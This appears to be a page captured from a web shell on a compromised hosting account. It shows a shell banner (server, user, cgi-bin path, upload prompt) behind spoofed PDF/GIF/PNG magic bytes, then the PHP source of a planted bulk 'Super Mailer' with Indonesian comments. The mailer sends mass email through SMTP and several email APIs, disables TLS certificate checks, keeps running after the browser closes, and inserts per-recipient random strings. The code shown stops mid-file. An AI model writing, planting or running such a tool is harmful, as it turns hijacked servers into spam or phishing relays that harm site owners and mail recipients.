%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_1ec2d7c2/cgi-bin/ |
Upload File : |
<?php
/**
* ================================================================
* SUPER MAILER - VERSI LENGKAP
* (SMTP + mail() + BREVO + SENDGRID + MANDRILL + SMTP2GO + TAG + cURL)
* ================================================================
* Driver:
* - smtp : SMTP native (AUTH PLAIN + fallback LOGIN)
* - mail : mail() bawaan PHP
* - brevo : Brevo API v3
* - sendgrid : SendGrid API v3
* - mandrill : Mandrill API v1
* - smtp2go : SMTP2GO API v3 (https://api.smtp2go.com/v3/email/send)
*
* TAG: {email}, {name}, ##randomstring##
* ================================================================
*/
// ============================================================
// DETEKSI MODE
// ============================================================
$rawInput = file_get_contents('php://input');
$jsonPayload = json_decode($rawInput, true);
$isJsonRequest = is_array($jsonPayload);
if ($isJsonRequest) {
foreach ($jsonPayload as $k => $v) {
if ($k === 'recipients' && is_array($v)) {
$lines = array();
foreach ($v as $r) {
if (is_string($r)) {
$lines[] = $r;
} elseif (is_array($r) && !empty($r['email'])) {
$lines[] = (!empty($r['name']) ? $r['name'] . ' ' : '') . '<' . $r['email'] . '>';
}
}
$_POST['recipients'] = implode("\n", $lines);
} else {
$_POST[$k] = $v;
}
}
}
$wantJson = (
(isset($_SERVER['HTTP_ACCEPT']) && stripos($_SERVER['HTTP_ACCEPT'], 'application/json') !== false) ||
(isset($_GET['format']) && $_GET['format'] === 'json') ||
$isJsonRequest
);
$isPost = ($_SERVER['REQUEST_METHOD'] === 'POST');
$hasData = !empty($_POST['recipients']) && !empty($_POST['subject']);
$shouldProcess = $isPost && ($hasData || isset($_POST['submit']));
// ============================================================
// PROSES KIRIM
// ============================================================
if ($shouldProcess) {
error_reporting(E_ALL);
ini_set('display_errors', 1);
ignore_user_abort(true);
set_time_limit(0);
if ($wantJson) {
header('Content-Type: application/json; charset=utf-8');
ob_start();
} else {
header('Content-Type: text/plain; charset=utf-8');
if (ob_get_level()) ob_end_clean();
echo "š PROSES PENGIRIMAN DIMULAI... (Browser boleh ditutup)\n\n";
flush();
}
// --- Ambil data ---
$driver = isset($_POST['driver']) ? $_POST['driver'] : 'smtp';
$from_email = trim(isset($_POST['from_email']) ? $_POST['from_email'] : '');
$from_name = trim(isset($_POST['from_name']) ? $_POST['from_name'] : '');
$subject = trim(isset($_POST['subject']) ? $_POST['subject'] : '');
$html_body = isset($_POST['html_body']) ? $_POST['html_body'] : '';
$text_body = isset($_POST['text_body']) ? $_POST['text_body'] : '';
$delay = (int) (isset($_POST['delay']) ? $_POST['delay'] : 500000);
if (empty($subject)) {
if ($wantJson) {
ob_end_clean();
http_response_code(400);
echo json_encode(array('success' => false, 'error' => "'subject' wajib diisi."));
} else {
echo "ā 'subject' wajib diisi.\n";
}
exit;
}
// --- Parsing penerima ---
$recipients = array();
$recipientsRaw = isset($_POST['recipients']) ? $_POST['recipients'] : '';
if (is_array($recipientsRaw)) {
foreach ($recipientsRaw as $r) {
if (is_string($r)) {
$recipients[] = array('email' => trim($r), 'name' => '');
} elseif (is_array($r) && !empty($r['email'])) {
$recipients[] = array(
'email' => trim($r['email']),
'name' => isset($r['name']) ? trim($r['name']) : ''
);
}
}
} else {
foreach (explode("\n", $recipientsRaw) as $line) {
$line = trim($line);
if (empty($line)) continue;
if (preg_match('/^(.*?)\s*<([^>]+)>$/', $line, $m)) {
$recipients[] = array('email' => trim($m[2]), 'name' => trim($m[1]));
} else {
$recipients[] = array('email' => $line, 'name' => '');
}
}
}
if (empty($recipients)) {
if ($wantJson) {
ob_end_clean();
http_response_code(400);
echo json_encode(array('success' => false, 'error' => 'Daftar penerima kosong.'));
} else {
echo "ā Daftar penerima kosong.\n";
}
exit;
}
// --- Konfigurasi ---
$config = array(
'driver' => $driver,
'from_email' => $from_email,
'from_name' => $from_name,
'log_file' => '',
'debug' => !empty($_POST['debug']),
);
if ($driver === 'smtp') {
$config['smtp_host'] = trim(isset($_POST['smtp_host']) ? $_POST['smtp_host'] : '');
$config['smtp_port'] = (int) (isset($_POST['smtp_port']) ? $_POST['smtp_port'] : 587);
$config['smtp_user'] = trim(isset($_POST['smtp_user']) ? $_POST['smtp_user'] : '');
$config['smtp_pass'] = trim(isset($_POST['smtp_pass']) ? $_POST['smtp_pass'] : '');
$config['smtp_encryption'] = isset($_POST['smtp_encryption']) ? $_POST['smtp_encryption'] : 'tls';
} elseif ($driver === 'brevo') {
$config['brevo_api_key'] = trim(isset($_POST['brevo_api_key']) ? $_POST['brevo_api_key'] : '');
if (empty($config['brevo_api_key']) && getenv('BREVO_API_KEY')) {
$config['brevo_api_key'] = getenv('BREVO_API_KEY');
}
} elseif ($driver === 'sendgrid') {
$config['sendgrid_api_key'] = trim(isset($_POST['sendgrid_api_key']) ? $_POST['sendgrid_api_key'] : '');
if (empty($config['sendgrid_api_key']) && getenv('SENDGRID_API_KEY')) {
$config['sendgrid_api_key'] = getenv('SENDGRID_API_KEY');
}
} elseif ($driver === 'mandrill') {
$config['mandrill_api_key'] = trim(isset($_POST['mandrill_api_key']) ? $_POST['mandrill_api_key'] : '');
if (empty($config['mandrill_api_key']) && getenv('MANDRILL_API_KEY')) {
$config['mandrill_api_key'] = getenv('MANDRILL_API_KEY');
}
} elseif ($driver === 'smtp2go') {
$config['smtp2go_api_key'] = trim(isset($_POST['smtp2go_api_key']) ? $_POST['smtp2go_api_key'] : '');
if (empty($config['smtp2go_api_key']) && getenv('SMTP2GO_API_KEY')) {
$config['smtp2go_api_key'] = getenv('SMTP2GO_API_KEY');
}
}
// --- Lampiran ---
$attachments = array();
if (isset($_FILES['attachment']) && $_FILES['attachment']['error'] === UPLOAD_ERR_OK) {
$attachments[] = array(
'path' => $_FILES['attachment']['tmp_name'],
'name' => $_FILES['attachment']['name']
);
}
if ($isJsonRequest && !empty($jsonPayload['attachments']) && is_array($jsonPayload['attachments'])) {
foreach ($jsonPayload['attachments'] as $att) {
if (empty($att['filename']) || empty($att['content_base64'])) continue;
$tmpPath = sys_get_temp_dir() . '/mail_att_' . md5(uniqid('', true));
if (file_put_contents($tmpPath, base64_decode($att['content_base64'])) !== false) {
$attachments[] = array('path' => $tmpPath, 'name' => $att['filename']);
}
}
}
// ============================================================
// CLASS SimpleSMTP
// ============================================================
class SimpleSMTP {
private $socket, $host, $port, $username, $password, $encryption, $timeout = 30, $debug = false;
public function __construct($host, $port, $username, $password, $encryption = 'tls', $debug = false) {
$this->host = $host; $this->port = $port; $this->username = $username;
$this->password = $password; $this->encryption = $encryption; $this->debug = $debug;
}
private function getResponse() {
$data = '';
while ($line = fgets($this->socket, 1024)) {
$data .= $line;
$this->debugLog("S: " . trim($line));
if (isset($line[3]) && $line[3] === ' ') break;
}
return $data;
}
private function sendCommand($cmd) {
$this->debugLog("C: " . trim($cmd));
fputs($this->socket, $cmd . "\r\n");
return $this->getResponse();
}
private function debugLog($msg) {
if ($this->debug) @file_put_contents(__DIR__ . '/smtp_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND);
}
public function connect() {
$host = $this->host;
if ($this->encryption === 'ssl') $host = 'ssl://' . $host;
$this->socket = @fsockopen($host, $this->port, $errno, $errstr, $this->timeout);
if (!$this->socket) throw new Exception("Gagal koneksi: $errstr ($errno)");
$resp = $this->getResponse();
if (substr($resp, 0, 3) !== '220') throw new Exception("Server tidak siap 220: $resp");
$resp = $this->sendCommand('EHLO ' . (gethostname() ?: 'localhost'));
if (substr($resp, 0, 3) !== '250') throw new Exception("EHLO gagal: $resp");
if ($this->encryption === 'tls') {
$resp = $this->sendCommand('STARTTLS');
if (substr($resp, 0, 3) !== '220') throw new Exception("STARTTLS gagal: $resp");
stream_context_set_option($this->socket, 'ssl', 'verify_peer', false);
stream_context_set_option($this->socket, 'ssl', 'verify_peer_name', false);
stream_context_set_option($this->socket, 'ssl', 'allow_self_signed', true);
if (!@stream_socket_enable_crypto($this->socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
throw new Exception("Gagal upgrade TLS.");
}
$resp = $this->sendCommand('EHLO ' . (gethostname() ?: 'localhost'));
if (substr($resp, 0, 3) !== '250') throw new Exception("EHLO ulang gagal: $resp");
}
$supportsPlain = (stripos($resp, 'AUTH') !== false && stripos($resp, 'PLAIN') !== false);
$supportsLogin = (stripos($resp, 'AUTH') !== false && stripos($resp, 'LOGIN') !== false);
$authed = false; $lastError = '';
if ($supportsPlain || !$supportsLogin) {
$plain = base64_encode("\0" . $this->username . "\0" . $this->password);
$resp = $this->sendCommand('AUTH PLAIN ' . $plain);
if (substr($resp, 0, 3) === '235') { $authed = true; }
else { $lastError = "AUTH PLAIN gagal: $resp"; }
}
if (!$authed) {
$resp = $this->sendCommand('AUTH LOGIN');
if (substr($resp, 0, 3) === '334') {
$resp = $this->sendCommand(base64_encode($this->username));
if (substr($resp, 0, 3) === '334') {
$resp = $this->sendCommand(base64_encode($this->password));
if (substr($resp, 0, 3) === '235') { $authed = true; }
else { $lastError .= " | LOGIN pass: $resp"; }
} else { $lastError .= " | LOGIN user: $resp"; }
} else { $lastError .= " | LOGIN init: $resp"; }
}
if (!$authed) throw new Exception("Autentikasi gagal. " . $lastError);
return true;
}
public function sendMail($from, $fromName, $to, $subject, $htmlBody, $textBody = '', $attachments = array()) {
$resp = $this->sendCommand("MAIL FROM: <$from>");
if (substr($resp, 0, 3) !== '250') throw new Exception("MAIL FROM gagal: $resp");
$resp = $this->sendCommand("RCPT TO: <$to>");
if (substr($resp, 0, 3) !== '250' && substr($resp, 0, 3) !== '251') throw new Exception("RCPT TO gagal: $resp");
$resp = $this->sendCommand('DATA');
if (substr($resp, 0, 3) !== '354') throw new Exception("DATA gagal: $resp");
$boundary = '----=_Part_' . md5(uniqid('', true));
$fromHeader = $fromName ? $this->encodeHeader($fromName) . " <$from>" : $from;
$headers = array(
"MIME-Version: 1.0",
"From: $fromHeader",
"To: $to",
"Subject: " . $this->encodeHeader($subject),
"Date: " . date('r'),
"Message-ID: <" . md5(uniqid('', true)) . "@" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . ">",
"Content-Type: multipart/mixed; boundary=\"$boundary\""
);
$body = '';
$altBoundary = $boundary . '_alt';
$body .= "--$boundary\r\n";
$body .= "Content-Type: multipart/alternative; boundary=\"$altBoundary\"\r\n\r\n";
$plain = $textBody ?: strip_tags($htmlBody);
$body .= "--$altBoundary\r\n";
$body .= "Content-Type: text/plain; charset=utf-8\r\n";
$body .= "Content-Transfer-Encoding: 8bit\r\n\r\n$plain\r\n\r\n";
if ($htmlBody) {
$body .= "--$altBoundary\r\n";
$body .= "Content-Type: text/html; charset=utf-8\r\n";
$body .= "Content-Transfer-Encoding: 8bit\r\n\r\n$htmlBody\r\n\r\n";
}
$body .= "--$altBoundary--\r\n\r\n";
foreach ($attachments as $att) {
if (!is_file($att['path'])) continue;
$data = file_get_contents($att['path']);
$mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
if (!$mime) $mime = 'application/octet-stream';
$fname = $att['name'] ?: basename($att['path']);
$body .= "--$boundary\r\n";
$body .= "Content-Type: $mime; name=\"{$fname}\"\r\n";
$body .= "Content-Disposition: attachment; filename=\"{$fname}\"\r\n";
$body .= "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode($data)) . "\r\n";
}
$body .= "--$boundary--\r\n";
$payload = implode("\r\n", $headers) . "\r\n\r\n" . $body;
$payload = preg_replace('/^\./m', '..', $payload);
fputs($this->socket, $payload . "\r\n.\r\n");
$resp = $this->getResponse();
if (substr($resp, 0, 3) !== '250') throw new Exception("Kirim gagal: $resp");
return true;
}
public function quit() {
if ($this->socket) { $this->sendCommand('QUIT'); fclose($this->socket); }
}
private function encodeHeader($str) {
if (preg_match('/[^\x20-\x7E]/', $str)) return '=?UTF-8?B?' . base64_encode($str) . '?=';
return $str;
}
}
// ============================================================
// CLASS BrevoMailer
// ============================================================
class BrevoMailer {
private $apiKey, $debug = false;
const ENDPOINT = 'https://api.brevo.com/v3/smtp/email';
public function __construct($apiKey, $debug = false) { $this->apiKey = $apiKey; $this->debug = $debug; }
private function debugLog($msg) { if ($this->debug) @file_put_contents(__DIR__ . '/brevo_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND); }
public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
$payload = array(
'sender' => array('name' => $fromName ?: $fromEmail, 'email' => $fromEmail),
'to' => array(array('email' => $toEmail, 'name' => $toName ?: $toEmail)),
'subject' => $subject, 'htmlContent' => $htmlBody,
);
if (!empty($textBody)) $payload['textContent'] = $textBody;
if (!empty($attachments)) {
$attPayload = array();
foreach ($attachments as $att) {
if (!is_file($att['path'])) continue;
$attPayload[] = array('content' => base64_encode(file_get_contents($att['path'])), 'name' => $att['name'] ?: basename($att['path']));
}
if (!empty($attPayload)) $payload['attachment'] = $attPayload;
}
$json = json_encode($payload, JSON_UNESCAPED_UNICODE);
$this->debugLog("Request: " . $json);
$ch = curl_init(self::ENDPOINT);
curl_setopt_array($ch, array(
CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => array('accept: application/json', 'content-type: application/json', 'api-key: ' . $this->apiKey),
CURLOPT_POSTFIELDS => $json,
));
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlErr = curl_error($ch);
curl_close($ch);
$this->debugLog("HTTP $httpCode: $response");
if ($curlErr) throw new Exception("cURL error: $curlErr");
$respData = json_decode($response, true);
if ($httpCode >= 200 && $httpCode < 300) return is_array($respData) ? $respData : array('raw' => $response);
$errMsg = 'Brevo API error';
if (is_array($respData)) {
if (isset($respData['message'])) $errMsg .= ': ' . $respData['message'];
elseif (isset($respData['error'])) $errMsg .= ': ' . $respData['error'];
else $errMsg .= ': ' . $response;
if (isset($respData['code'])) $errMsg = "[{$respData['code']}] " . $errMsg;
} else $errMsg .= ': ' . $response;
if ($httpCode === 401) $errMsg .= ' (API key salah)';
elseif ($httpCode === 400) $errMsg .= ' (Request invalid)';
elseif ($httpCode === 402) $errMsg .= ' (Kuota habis)';
elseif ($httpCode === 429) $errMsg .= ' (Rate limit)';
throw new Exception($errMsg);
}
}
// ============================================================
// CLASS SendGridMailer
// ============================================================
class SendGridMailer {
private $apiKey, $debug = false;
const ENDPOINT = 'https://api.sendgrid.com/v3/mail/send';
public function __construct($apiKey, $debug = false) { $this->apiKey = $apiKey; $this->debug = $debug; }
private function debugLog($msg) { if ($this->debug) @file_put_contents(__DIR__ . '/sendgrid_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND); }
public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
$personalization = array('to' => array(array('email' => $toEmail, 'name' => $toName ?: $toEmail)), 'subject' => $subject);
$payload = array(
'personalizations' => array($personalization),
'from' => array('email' => $fromEmail, 'name' => $fromName ?: $fromEmail),
'content' => array(),
);
if (!empty($textBody)) $payload['content'][] = array('type' => 'text/plain', 'value' => $textBody);
if (!empty($htmlBody)) $payload['content'][] = array('type' => 'text/html', 'value' => $htmlBody);
if (empty($payload['content'])) $payload['content'][] = array('type' => 'text/plain', 'value' => strip_tags($htmlBody));
if (!empty($attachments)) {
$attPayload = array();
foreach ($attachments as $att) {
if (!is_file($att['path'])) continue;
$mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
if (!$mime) $mime = 'application/octet-stream';
$attPayload[] = array('content' => base64_encode(file_get_contents($att['path'])), 'filename' => $att['name'] ?: basename($att['path']), 'type' => $mime, 'disposition' => 'attachment');
}
if (!empty($attPayload)) $payload['attachments'] = $attPayload;
}
$json = json_encode($payload, JSON_UNESCAPED_UNICODE);
$this->debugLog("Request: " . $json);
$ch = curl_init(self::ENDPOINT);
curl_setopt_array($ch, array(
CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30,
CURLOPT_HEADER => true,
CURLOPT_HTTPHEADER => array('Authorization: Bearer ' . $this->apiKey, 'Content-Type: application/json'),
CURLOPT_POSTFIELDS => $json,
));
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$curlErr = curl_error($ch);
curl_close($ch);
if ($curlErr) throw new Exception("cURL error: $curlErr");
$headers = substr($response, 0, $headerSize);
$body = substr($response, $headerSize);
$this->debugLog("HTTP $httpCode | Headers: $headers | Body: $body");
if ($httpCode === 202) {
$messageId = '';
if (preg_match('/X-Message-Id:\s*(.+)/i', $headers, $m)) $messageId = trim($m[1]);
return array('messageId' => $messageId);
}
$errMsg = 'SendGrid API error';
$respData = json_decode($body, true);
if (is_array($respData) && !empty($respData['errors'])) {
$errList = array();
foreach ($respData['errors'] as $e) $errList[] = (isset($e['field']) ? $e['field'] . ': ' : '') . (isset($e['message']) ? $e['message'] : 'unknown');
$errMsg .= ': ' . implode('; ', $errList);
} else $errMsg .= ': ' . trim($body);
if ($httpCode === 401) $errMsg .= ' (API key salah)';
elseif ($httpCode === 400) $errMsg .= ' (Request invalid)';
elseif ($httpCode === 403) $errMsg .= ' (Sender belum verified)';
elseif ($httpCode === 413) $errMsg .= ' (Payload terlalu besar)';
elseif ($httpCode === 429) $errMsg .= ' (Rate limit)';
throw new Exception($errMsg);
}
}
// ============================================================
// CLASS MandrillMailer
// ============================================================
class MandrillMailer {
private $apiKey, $debug = false;
const ENDPOINT = 'https://mandrillapp.com/api/1.0/messages/send.json';
public function __construct($apiKey, $debug = false) { $this->apiKey = $apiKey; $this->debug = $debug; }
private function debugLog($msg) { if ($this->debug) @file_put_contents(__DIR__ . '/mandrill_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND); }
public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
$message = array(
'from_email' => $fromEmail,
'from_name' => $fromName ?: $fromEmail,
'subject' => $subject,
'to' => array(array('email' => $toEmail, 'name' => $toName ?: $toEmail, 'type' => 'to')),
);
if (!empty($htmlBody)) $message['html'] = $htmlBody;
if (!empty($textBody)) $message['text'] = $textBody;
if (empty($message['html']) && empty($message['text'])) $message['text'] = strip_tags($htmlBody);
if (!empty($attachments)) {
$attPayload = array();
foreach ($attachments as $att) {
if (!is_file($att['path'])) continue;
$mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
if (!$mime) $mime = 'application/octet-stream';
$attPayload[] = array('type' => $mime, 'name' => $att['name'] ?: basename($att['path']), 'content' => base64_encode(file_get_contents($att['path'])));
}
if (!empty($attPayload)) $message['attachments'] = $attPayload;
}
$payload = array('key' => $this->apiKey, 'message' => $message, 'async' => false);
$json = json_encode($payload, JSON_UNESCAPED_UNICODE);
$this->debugLog("Request: " . $json);
$ch = curl_init(self::ENDPOINT);
curl_setopt_array($ch, array(
CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'Accept: application/json'),
CURLOPT_POSTFIELDS => $json,
));
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlErr = curl_error($ch);
curl_close($ch);
$this->debugLog("HTTP $httpCode: $response");
if ($curlErr) throw new Exception("cURL error: $curlErr");
$respData = json_decode($response, true);
if ($httpCode === 200 && is_array($respData)) {
$first = isset($respData[0]) ? $respData[0] : $respData;
$status = isset($first['status']) ? $first['status'] : 'unknown';
$id = isset($first['_id']) ? $first['_id'] : '';
$reject = isset($first['reject_reason']) ? $first['reject_reason'] : '';
if ($status === 'sent' || $status === 'queued') return array('messageId' => $id, 'status' => $status);
$errMsg = "Mandrill rejected: status=$status";
if ($reject) $errMsg .= " | reason=$reject";
if (isset($first['email'])) $errMsg .= " | email=" . $first['email'];
throw new Exception($errMsg);
}
$errMsg = 'Mandrill API error';
if (is_array($respData) && isset($respData['message'])) {
$errMsg .= ': ' . $respData['message'];
if (isset($respData['name'])) $errMsg = "[{$respData['name']}] " . $errMsg;
} else $errMsg .= ': ' . trim($response);
if ($httpCode === 401) $errMsg .= ' (API key salah)';
elseif ($httpCode === 400) $errMsg .= ' (Request invalid)';
elseif ($httpCode === 500) $errMsg .= ' (Server error)';
throw new Exception($errMsg);
}
}
// ============================================================
// CLASS Smtp2GoMailer
// SMTP2GO API v3: POST https://api.smtp2go.com/v3/email/send
// Auth: API key dikirim via header "X-Smtp2go-Api-Key" ATAU body "api_key"
// Sukses: HTTP 200 dengan data.succeeded >= 1
// ============================================================
class Smtp2GoMailer {
private $apiKey, $debug = false;
const ENDPOINT = 'https://api.smtp2go.com/v3/email/send';
public function __construct($apiKey, $debug = false) {
$this->apiKey = $apiKey;
$this->debug = $debug;
}
private function debugLog($msg) {
if ($this->debug) @file_put_contents(__DIR__ . '/smtp2go_debug.log', date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND);
}
public function sendMail($fromEmail, $fromName, $toEmail, $toName, $subject, $htmlBody, $textBody = '', $attachments = array()) {
// Bangun payload sesuai skema SMTP2GO v3
$payload = array(
'api_key' => $this->apiKey,
'to' => array($toName ? "$toName <$toEmail>" : $toEmail),
'sender' => $fromName ? "$fromName <$fromEmail>" : $fromEmail,
'subject' => $subject,
);
if (!empty($htmlBody)) $payload['html_body'] = $htmlBody;
if (!empty($textBody)) $payload['text_body'] = $textBody;
if (empty($payload['html_body']) && empty($payload['text_body'])) {
$payload['text_body'] = strip_tags($htmlBody);
}
// Lampiran: filename, fileblob (base64), mimetype
if (!empty($attachments)) {
$attPayload = array();
foreach ($attachments as $att) {
if (!is_file($att['path'])) continue;
$mime = function_exists('mime_content_type') ? @mime_content_type($att['path']) : 'application/octet-stream';
if (!$mime) $mime = 'application/octet-stream';
$attPayload[] = array(
'filename' => $att['name'] ?: basename($att['path']),
'fileblob' => base64_encode(file_get_contents($att['path'])),
'mimetype' => $mime,
);
}
if (!empty($attPayload)) $payload['attachments'] = $attPayload;
}
$json = json_encode($payload, JSON_UNESCAPED_UNICODE);
$this->debugLog("Request: " . $json);
$ch = curl_init(self::ENDPOINT);
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => array(
'Content-Type: application/json',
'Accept: application/json',
),
CURLOPT_POSTFIELDS => $json,
));
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlErr = curl_error($ch);
curl_close($ch);
$this->debugLog("HTTP $httpCode: $response");
if ($curlErr) throw new Exception("cURL error: $curlErr");
$respData = json_decode($response, true);
// SMTP2GO sukses = HTTP 200 dengan data.succeeded >= 1
if ($httpCode === 200 && is_array($respData)) {
$data = isset($respData['data']) ? $respData['data'] : array();
$succeeded = isset($data['succeeded']) ? (int)$data['succeeded'] : 0;
$failed = isset($data['failed']) ? (int)$data['failed'] : 0;
$emailId = isset($data['email_id']) ? $data['email_id'] : '';
if ($succeeded > 0) {
return array('messageId' => $emailId, 'status' => 'sent');
}
// Kalau failed > 0, ambil detail failure
$errMsg = "SMTP2GO failed";
if (!empty($data['failures']) && is_array($data['failures'])) {
$errList = array();
foreach ($data['failures'] as $f) {
$errList[] = (isset($f['email']) ? $f['email'] . ': ' : '') . (isset($f['error']) ? $f['error'] : 'unknown');
}
$errMsg .= ': ' . implode('; ', $errList);
}
throw new Exception($errMsg);
}
// Error handling
$errMsg = 'SMTP2GO API error';
if (is_array($respData) && !empty($respData['data']['error'])) {
$errMsg .= ': ' . $respData['data']['error'];
if (!empty($respData['data']['error_code'])) $errMsg = "[{$respData['data']['error_code']}] " . $errMsg;
} else {
$errMsg .= ': ' . trim($response);
}
if ($httpCode === 400) $errMsg .= ' (Request invalid, cek sender & format email)';
elseif ($httpCode === 401) $errMsg .= ' (API key salah)';
elseif ($httpCode === 403) $errMsg .= ' (Sender belum verified di SMTP2GO)';
elseif ($httpCode === 429) $errMsg .= ' (Rate limit)';
throw new Exception($errMsg);
}
}
// ============================================================
// CLASS BulkMailer
// ============================================================
class BulkMailer {
private $config, $logFile, $sentCount = 0, $failCount = 0, $results = array();
public function __construct($config) {
$this->config = $config;
$this->logFile = isset($config['log_file']) ? $config['log_file'] : null;
}
private function log($msg) {
if ($this->logFile) @file_put_contents($this->logFile, date('Y-m-d H:i:s') . ' ' . $msg . "\n", FILE_APPEND);
echo $msg . "\n"; flush();
}
private function generateRandomString($length = 16) {
if (function_exists('random_bytes')) {
try {
$bytes = random_bytes((int)ceil($length / 2));
return substr(bin2hex($bytes), 0, $length);
} catch (Exception $e) { }
}
$chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $length; $i++) $str .= $chars[mt_rand(0, strlen($chars) - 1)];
return $str;
}
public function sendBulk($recipients, $subject, $htmlBody, $textBody = '', $attachments = array(), $delayMicroseconds = 500000) {
$driver = $this->config['driver'];
$this->log("šØ Driver: " . strtoupper($driver) . " | Total: " . count($recipients));
$smtp = null;
$brevo = null;
$sendgrid = null;
$mandrill = null;
$smtp2go = null;
if ($driver === 'smtp') {
try {
$smtp = new SimpleSMTP(
$this->config['smtp_host'], $this->config['smtp_port'],
$this->config['smtp_user'], $this->config['smtp_pass'],
$this->config['smtp_encryption'], $this->config['debug']
);
$smtp->connect();
$this->log("ā
Koneksi SMTP berhasil.");
} catch (Exception $e) {
$this->log("ā Koneksi SMTP gagal: " . $e->getMessage());
return;
}
} elseif ($driver === 'brevo') {
if (empty($this->config['brevo_api_key'])) { $this->log("ā Brevo API key kosong."); return; }
$brevo = new BrevoMailer($this->config['brevo_api_key'], $this->config['debug']);
$this->log("ā
Brevo API siap.");
} elseif ($driver === 'sendgrid') {
if (empty($this->config['sendgrid_api_key'])) { $this->log("ā SendGrid API key kosong."); return; }
$sendgrid = new SendGridMailer($this->config['sendgrid_api_key'], $this->config['debug']);
$this->log("ā
SendGrid API siap.");
} elseif ($driver === 'mandrill') {
if (empty($this->config['mandrill_api_key'])) { $this->log("ā Mandrill API key kosong."); return; }
$mandrill = new MandrillMailer($this->config['mandrill_api_key'], $this->config['debug']);
$this->log("ā
Mandrill API siap.");
} elseif ($driver === 'smtp2go') {
if (empty($this->config['smtp2go_api_key'])) { $this->log("ā SMTP2GO API key kosong."); return; }
$smtp2go = new Smtp2GoMailer($this->config['smtp2go_api_key'], $this->config['debug']);
$this->log("ā
SMTP2GO API siap.");
}
foreach ($recipients as $index => $recip) {
$email = trim($recip['email']);
$name = trim($recip['name'] ?: '');
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$this->log("ā ļø Lewati (email tidak valid): $email");
$this->failCount++;
$this->results[] = array('email' => $email, 'status' => 'invalid');
continue;
}
$randomString = $this->generateRandomString(16);
$displayName = $name ?: explode('@', $email)[0];
$search = array('{email}', '{name}', '##randomstring##');
$replace = array($email, $displayName, $randomString);
$recipSubject = str_replace($search, $replace, $subject);
$recipHtml = str_replace($search, $replace, $htmlBody);
$recipText = str_replace($search, $replace, $textBody);
try {
if ($driver === 'smtp') {
$smtp->sendMail($this->config['from_email'], $this->config['from_name'], $email, $recipSubject, $recipHtml, $recipText, $attachments);
} elseif ($driver === 'brevo') {
$resp = $brevo->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] Brevo messageId: " . $resp['messageId']);
} elseif ($driver === 'sendgrid') {
$resp = $sendgrid->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] SendGrid messageId: " . $resp['messageId']);
} elseif ($driver === 'mandrill') {
$resp = $mandrill->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] Mandrill messageId: " . $resp['messageId'] . " | status: " . $resp['status']);
} elseif ($driver === 'smtp2go') {
$resp = $smtp2go->sendMail($this->config['from_email'], $this->config['from_name'], $email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
if (!empty($resp['messageId'])) $this->log("[" . ($index+1) . "] SMTP2GO emailId: " . $resp['messageId']);
} else {
$this->sendViaMail($email, $displayName, $recipSubject, $recipHtml, $recipText, $attachments);
}
$this->sentCount++;
$this->results[] = array('email' => $email, 'status' => 'sent', 'random' => $randomString);
$this->log("[" . ($index+1) . "] ā
$email | random: $randomString");
} catch (Exception $e) {
$this->failCount++;
$this->results[] = array('email' => $email, 'status' => 'failed', 'error' => $e->getMessage());
$this->log("[" . ($index+1) . "] ā $email: " . $e->getMessage());
}
if ($delayMicroseconds > 0) usleep($delayMicroseconds);
}
if ($smtp) $smtp->quit();
$this->log("\n⨠Selesai! Terkirim: {$this->sentCount}, Gagal: {$this->failCount}");
}
public function getStats() {
return array('sent' => $this->sentCount, 'failed' => $this->failCount, 'results' => $this->results);
}
